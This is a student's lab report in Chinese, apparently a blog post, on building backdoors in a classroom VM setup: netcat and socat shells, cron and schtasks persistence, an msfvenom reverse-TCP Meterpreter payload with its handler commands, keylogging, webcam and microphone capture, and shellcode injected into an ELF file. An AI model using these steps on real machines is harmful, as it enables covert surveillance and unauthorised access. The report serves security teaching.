20222324 石国力 《网络与系统攻防技术》 实验二

1.实验内容
(1)使用netcat获取主机操作Shell,cron启动某项任务
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
2.实验过程
2.0关闭windows防火墙、实时保护


image

2.1使用netcat获取主机操作Shell,cron启动某项任务
2.1.1windows主机使用netcat并获取shell
查看windows主机ip(我是在两个教室做的,所以有两个IP地址):
第一次:

image

第二次:

image

windows主机监听8888端口:

image

kali虚机连接主机8888端口并执行shell:

image

在主机输入命令:

image

可以看到主机已成功获取虚拟机shell。

2.1.2通过设置cron使得kali启动定时任务
因为Windows不能直接使用crontab -e远程编辑,会报错;
所以我们进入虚拟机的虚拟机的root账户,输入crontab -e (执行文字编辑器来设定时程表),选择的是2

image

输入后进入文字编辑器,输入指令并退出

image

同时在Linux主机中的/var/spool/cron/crontabs文件中会出现一个root文件。

image

在主机中输入命令,写入定时任务指令,并查看时程表:

image

进入Linux虚拟机进入对应路径检查文件,发现修改成功。

image

定时任务执行成功!

2.2使用socat获取主机操作Shell, 任务计划启动
2.2.1
主机使用socat监听8888端口:

image

虚机连接主机8888端口:

image

可以看到虚机已经获取到windows主机shell。
PS:这里出现了乱码,我看到了刘品源同学的实验报告,成功解决了乱码。
2.2.2通过命令行创建任务计划,执行定时任务
编写c程序并编译为shiyan2.exe:

image

使用schtasks命令添加任务计划,每分钟执行一次编写的程序:

image

回到windows主机,打开任务计划程序库,看到正在运行的任务:

image

定时任务执行成功!

2.3使用MSF meterpreter生成可执行文件(后门),利用ncat传送到主机并运行获取主机Shell
查看虚机ip:

image

使用msfvenom 工具生成一个反向 TCP Meterpreter shell 的 payload,并将其保存到一个可执行文件中:

image

LHOST=192.168.117.129是shell连接的主机 IP 地址,是虚拟机的IP地址;
LPORT=8888是监听的端口号;
-f exe指定了生成的 payload 的格式,这里是exe。
主机监听8888窗口等待接收可执行文件并将其存放在指定目录下:

image

虚机将生成的后门文件传给主机:

image

可以看到文件成功传输。
在Kali终端输入命令msfconsole,然后对监听模块进行配置:
use exploit/multi/handler(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp (使用和生成后门程序时相同的payload)
set LHOST 192.168.117.129 (攻击机的IP地址,和生成后门程序时指定的IP相同)
set LPORT 8888(监听的端口)
输入exploit,使监听模块开始运行,并在Windows终端运行后门2221backdoor.exe文件:

image

image

接着输入exploit,使监听模块开始运行,并在Windows终端运行后门2324backdoor.exe文件
返回检查虚拟机,输入ls查看windows主机目录。

image

确认已经连接。

2.4使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
在exploit模块中继续输入以下命令:

record_mic   (音频)

screenshot   (截屏)

webcam_snap (拍照)

keyscan_start (开始读取键盘记录)

keyscan_dump (读取键盘记录结束)
2.4.1获取目标主机音频、截屏、摄像头、键盘记录
在exploit模块中继续输入以下命令

image

2.4.2提权

image

2.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
使用msfvenom 工具生成一个 Meterpreter 反向 TCP shell的 payload,并将其注入到指定的可执行文件中,然后将结果输出到一个20222324_pwn的文件中:

image

-p linux/x86/meterpreter/reverse_tcp:指定要生成的 payload 类型。
LHOST=192.168.117.129:目标主机 IP ,这里即虚拟机IP地址。
LPORT=8888:设置 Meterpreter shell 使用的本地端口号为 8888。
-x /home/kali/Document/pwn1:指定一个可执行文件作为模板,生成的 payload 将会注入到该文件中。
-f elf:指定输出文件的格式为 ELF 格式,适用于 Linux 系统的可执行文件格式。
输入指令msfconsole,配置监听过程并打开另一个shell,添加20222324_pwn的权限并运行
此时获取反弹连接Shell:

image

3.问题及解决方案
1.在运行后门时,系统提示程序被占用,无法执行。后面询问了同学,重启kali,再次运行backboor就可以了。
2.在任务二中,虚机连接主机8888端口,我出现了乱码现象,后面看了刘品源的实验报告,成功解决。
4.学习感悟、思考等
4.1问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?

在盗版、第三方网站下载资源

(2)例举你知道的后门如何启动起来(win及linux)的方式?

Windows:注册表启动:攻击者可以修改注册表的启动项,以使后门在系统启动时自动运行

Linux:修改 Cron 任务:通过 cron 配置定时任务,使后门定期执行

(3)Meterpreter有哪些给你映像深刻的功能?

摄像头访问:当时拍照给我吓了一跳。
键盘记录:可以捕获用户的键盘输入,可以获得密码。

(4)如何发现自己有系统有没有被安装后门?

使用安全工具扫描:使用杀毒软件或专业安全工具进行系统扫描,查找潜在的后门程序
检查启动项和服务

4.2实验感悟
在这次实验中,我可以使用netcat和socat获取主机操作Shell,并添加cron定时任务、使用schtasks命令添加任务计划,来远程执行程序。同时我也认识隐私泄露与权限窃取的风险之大,所以我们要增强我们的网络安全意识。

posted @ 2024-10-23 16:42  亐牞  阅读(4)  评论(0编辑  收藏  举报